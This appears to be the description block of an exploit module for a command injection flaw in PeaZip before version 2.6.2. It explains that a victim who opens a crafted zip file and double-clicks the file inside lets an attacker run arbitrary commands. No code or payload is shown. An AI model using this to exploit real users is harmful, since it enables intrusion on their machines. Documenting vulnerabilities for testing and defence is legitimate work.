  					This module exploits a command injection vulnerability in PeaZip. All
  				versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with
  				version 2.6.1 on Windows.
  
  				In order for the command to be executed, an attacker must convince someone to
  				open a specially crafted zip file with PeaZip, and access the specially file via
  				double-clicking it. By doing so, an attacker can execute arbitrary commands
  				as the victim user.
